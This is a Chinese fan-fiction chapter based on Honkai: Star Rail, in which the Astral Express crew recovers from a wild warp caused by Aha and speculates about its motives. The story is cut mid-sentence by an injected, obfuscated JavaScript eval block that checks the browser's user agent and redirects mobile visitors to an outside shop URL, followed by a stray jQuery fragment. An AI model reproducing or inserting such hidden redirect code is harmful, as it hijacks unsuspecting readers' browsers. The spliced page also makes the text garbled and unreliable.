“哇啊啊啊啊——!!!”
跃迁的空间荧光覆盖了整个列车,三月七的尖叫响彻了整个通道。
与以往平稳的跃迁不太一样,在欢愉命途的加持下,列车几乎是一路火花带闪电,压弯还带飘移和甩尾,列车组一行人感觉魂都要飞出去了,在观景车厢里死死的扒着周围的家具。
只有阿哈,就好像飙车上头一样,凌空还传来了一声爽快的“呜呼——!”
跃迁的速度很快,从事情发生到到达目的地都不超过五分钟,但几个人就感觉是度过了一个琥珀纪那么长,在列车终于稳定停下的那一瞬间,几乎所有人都不约而同的松了一口气。
“唔哕...”
三月七扒着栏杆,一边摇着脑袋,一边干呕了几声,并试图站起身,但此刻她的脑内还在天旋地转,试了几次手都没使上力,最后终于放弃般的瘫软在地上,气若游丝道:
“我...我的天,我还活着吗?”
星趴在她的头对面,可能是因为体内有星核,还能勉强撑起个身,靠在墙上,眼冒金星,用气声回答她:“我看见十几个垃圾桶在转...”
不远处,丹恒扶着墙,好半响才勉强站起了身,唤出武器,脸色也不是很好看。
他此处观察了一下,发现列车停驻后就没有了其他动静,这才收起戒备的神色,也顾不上自己,急忙走过来观察他们两个情况:“你们两个没事吧,有受伤吗?”
两个人虚弱的回答“好、好晕...”
丹恒听着两个虽然声音虚弱但中气还在,应该没有太大的问题,这才松了一口气,挨个把两个人扶到沙发上。
两个女孩眩晕的厉害,嘴上却死活停不下来。
“丹恒...你、你没事吧?”
“我没事,你先顾好自己,三月。”
“姬子和杨叔呢?”
“他们两个和帕姆正在查看列车情况,星,你拽我衣服干什么?”
“丹恒老师也一起靠会吧...”
“是哦,我、我还是第一次看见、看见丹恒脸色这么白啊哈哈...”
总之,也不知道经历了怎样的心路历程,等到帕姆和列车的两个大家长返回观景车厢的时候,就看见三小只齐齐挤在一处,靠在沙发上假寐休息的场面。
听到脚步声,状态恢复的最快的丹恒最先睁开眼睛,正想站起身询问情况,就被姬子按在了沙发上。
“你现在也不好受吧,先坐着休息就好,帕姆准备了一点温水、薄荷糖还有冰毛巾,应该能缓解一点不适感。”
丹恒还准备说什么,背后的星就伸过来一只手,拽着他外套背后松散的衣带往那头一扯。
这一扯猝不及防,手劲大的可怕,直接打了丹恒一个措手不及,懵逼之下后脑勺直接毫无防备的撞上了星的脑袋瓜子,一点缓冲都没有。
“咚!”
很结实的一声,听得出来是两颗好头。
星天生就劲大,之前还是个使炎枪的,迷迷糊糊的下手也没个分寸,被丹恒一撞直接磕上身边还被眩晕着的三月七的脑袋。
“嘶...”
“嗷!”
“啊!”
这一发生的都太快,也就一眨眼的时间,三小只在沙发上撞成了一团,各自捂着脑袋痛呼,让原本就还没恢复好的状态雪上加霜,看上去不是很聪明的样子。
其中最为凄惨的就是星,她夹在中间,腹背受击,也不知道会不会对她那看上去本来就不是很聪明的脑袋造成什么影响。
长辈们也没料到会有这个突发意外,一时间都愣在原地,直到三小只痛呼,才不约而同的笑出了声。
“天,痛痛痛,星你的脑门也太硬了吧?!”
“脑门不硬的才有问题吧,我又不是呜呜伯。”
“星,下次扯我可以不用这么重的力道...”
姬子笑够了连忙上前拍了拍手,插进话,“好了,先好好休息吧,都晕成这样了,嘴皮子却还停不下来。”
她边笑边无奈的摇了摇头。
“这次的跃迁不像之前一样稳定,能量波流很混乱,会让人产生不同程度的晕车症状,现在喝点水,擦擦脸,清醒一下,缓和一下不适感,如果还很难受的话,就和帕姆说,吃点晕车药。”
帕姆也连忙将准备好的水、糖和毛巾发给每个人,三个人抿着水,含着糖,捂着冰毛巾,不知道过了多久,才总算压下那种胃里反酸的感觉,将自己的神志从滚筒中捞了出来。
“得救了...”三月七额头上盯着冰毛巾,整个人半仰趴在沙发靠背上呻吟,“我说,刚才那个不会是...”
“是【欢愉】的星神——阿哈。”□□·杨肯定了她的想法,他皱着眉神色很是严肃,“跃迁开始之前的笑声你们都听见了,这么标志性的笑声,这么出人意料的作风,除了祂别无他人。”
闻言,人形智库丹恒已经开始揉着头,回忆阿哈的相关资料。
“根据智库,这位欢愉的星神行事无常,即便是在寰宇间,祂也是出了名的随心所欲,确实像是能凭心情做出这种事的,但...”
他顿了顿,思索了片刻,“欢愉的星神绝非这么简单的存在,他的行为除了找乐子,也未必没有其他目的。”
星疑惑的举手问道:“和他说的那个阿基维利的再生之地有关系吗?”
“或许吧”丹恒沉思着,“阿基维利已经陨落许久,原因至今都不为人所知,如今居然有复生之兆,甚至进一步讲,星神...是可以这么容易复生的吗?”
□□·杨也摇了摇头,“这就不明白了,但我同意丹恒前面的看法,祂将我们带到这里未必不是另有深意。”
他看向姬子和帕姆,“说起来,列车的情况怎么样了?有损伤吗?”
帕姆率先回答道:“空间读数恢复稳定,星轨也铺设完毕,稳定律也已经趋于正常,不过,我们中途似乎撞上了什么东西,车厢外壁有轻微的剐蹭。”
姬子接着道,“这片地方之前并未被银轨链接,是【开拓】也未曾踏足的地方,根据列车仪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631907|143591||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
器显示,就近的星球只有一颗,上面找不到一点陆地,全是海洋的模样,恐怕这就是欢愉星神将我们带来这里的目的。”
“之前列车是怎么被启动的?”丹恒直起身问道:“铺设星轨的能力应该就只有开拓才有才对。”
“确实是开拓的力量。”帕姆抓着脑袋,抽象的向他们解释,“但不全是,铺设星轨的力量并不纯粹,跃迁的那么不稳定,正是因为列车刚才近乎是被拖着在铁轨上行驶。”
“可是把我们带到这里的不是欢愉的星神吗?”星一脸疑惑。
“哦,这个啊。”帕姆叉起腰,反而露出一种‘我生气了’的神色,那种神情列车上两个经常闯祸的女孩非常熟悉,“因为阿哈乘客曾经也是星穹列车的开拓客。”
星想起了模拟宇宙里的介绍记录和匹诺康尼的梦泡,“好像还真有这回事,他不是把列车炸成两半了吗?”
“哈?!”三月七垂死病中惊坐起。
“其实...”帕姆欲言又止,犹犹豫豫的将阿哈干的好事说了个干净,“那次被炸掉的还有一颗无人星球...”
但他随即又紧急补充道:“不过!不过,当时并没有人员伤亡,被炸掉的那个列车厢刚好是无人的。”
“也就是说...祂有意避免了伤亡吗?”姬子若有所思。
□□·杨分析着,“因为曾经当过无名客,所以对开拓的命途有所涉及,甚至能够引动一部分的开拓力吗?我还是头一次知道,居然还有这种方法...”
姬子抱臂思索了一会,又问道:“帕姆,阿哈当开拓客的时候,阿基维利和他的关系怎么样?”
说起这个,帕姆顿时来劲了,“他们两个关系可好了,可以说,不,他们就是狼狈为奸!在列车上各种胡闹,还偷吃帕姆的零食和列车锅!”
他说起这个颇有一种滔滔不绝讲下去的意味,丹恒等人也没打断他,就静静的听他描述在那段遥远的、已经不为人所知的过去里,阿基维利与阿哈的一百零八种搞事罪状。
听到后面,几乎每个人的嘴角就止不住抽抽。
为什么这个阿基维利他这么‘欢愉’啊?!
他到底是无名客还是假面愚者啊!
等到帕姆自己停下后,姬子才接着道:“那这么看来,至少看在过往与阿基维利的交情上,也许,阿哈不会对列车做什么太过分的事情。”
“炸列车不算过分吗...”三月七吐槽道。
姬子轻轻笑了笑,“毕竟,在星神眼里,我们基础的道德认知并不通用。祂们超脱了伦理、道德和法律的约束,可能做出任何在我们看来荒诞不经的事,人类与星球在星神眼中都渺小的可怕。”
她感叹着:“所以,换种角度来看这么大的动静却没有人员伤亡,阿哈故意留手的可能性还是非常大的。”
“你是打算...”□□·杨看向姬子。
“就是你想的那样。”姬子点了点头,笑意盎然,“有什么地方能比【开拓】星神阿基维利的再生之地更能吸引无名客的呢?”